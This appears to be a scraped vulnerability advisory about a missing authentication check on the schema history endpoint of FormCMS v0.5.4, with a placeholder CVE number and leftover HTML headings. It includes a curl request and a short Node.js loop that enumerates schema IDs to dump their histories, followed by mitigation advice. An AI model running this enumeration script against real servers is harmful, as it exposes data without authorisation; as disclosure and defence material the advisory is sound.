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The CVE-2025-XXXXX vulnerability in FormCMS v0.5.4 stems from a missing authentication check on the `/api/schemas/history/
` API endpoint. This endpoint is designed to retrieve the version history of a form schema. The application fails to verify if the incoming request is from an authenticated and authorized user before processing it. An unauthenticated attacker can exploit this flaw by crafting a simple HTTP GET request and appending a valid schema identifier to the URL. The system does not validate the user's session or role, proceeding directly to fetch and return the sensitive historical data for any schemaId provided. This allows for the enumeration and exfiltration of all form schema revision histories, including potentially sensitive field definitions and configuration data, simply by guessing or discovering valid schema IDs through other means. Platform: FormCMS Version: v0.5.4 Vulnerability: Improper Access Control Severity: Moderate <h2 style="color: blue;">date: 2025-09-30</h2> <h2 style="color: blue;">Prediction: Patch by 2025-10-14</h2> <h2 style="color: blue;">What Undercode Say:</h2> [bash] curl -X GET http://<target>/api/schemas/history/123
// Simple script to brute-force schemaId values
const fetch = require('node-fetch');
const baseUrl = 'http://target.com/api/schemas/history/';
for (let id = 1; id < 1000; id++) {
fetch(baseUrl + id)
.then(response => response.json())
.then(data => console.log(<code>ID ${id}:</code>, data))
.catch(err => {});
}
How Exploit:
Send unauthenticated HTTP GET requests to the vulnerable endpoint with sequential or guessed schemaId values.
Protection from this CVE:
Apply patch from vendor. Implement authentication middleware. Add authorization checks.
Impact:
Unauthenticated data access. Sensitive information disclosure. Schema history leakage.
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Sources:
Reported By: github.com
Extra Source Hub:
Undercode
